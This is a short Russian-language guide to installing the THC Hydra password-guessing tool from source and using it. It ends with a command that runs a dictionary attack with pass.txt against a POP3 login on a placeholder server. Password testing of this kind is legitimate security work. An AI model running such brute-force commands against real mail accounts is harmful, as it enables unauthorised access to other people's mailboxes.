Сначала стянем архив.
wget http://thc.org/download.php?t=r&f=hydra-4.7-src.tar.gz
Распаковываем
gzip -d hydra-4.7-src.tar.gz
tar -xf hydra-4.7-src.tar
или
tar -xzf hydra-4.7-src.tar.gz
И ставим
cd hydra-4.7-src
./configure
make
make install
можно копирнуть назад и удалить исходники
cp hydra ..
cd ..
rm -rf hydra-4.7-src
Работаем
./hydra (для справки)
./hydra -l lamer -P pass.txt -w 20 -t 10 pop.server pop3
для подбора пароля из словаря pass.txt к логину lamer
на сервере pop.server, timeout=20 sec, потоков 10.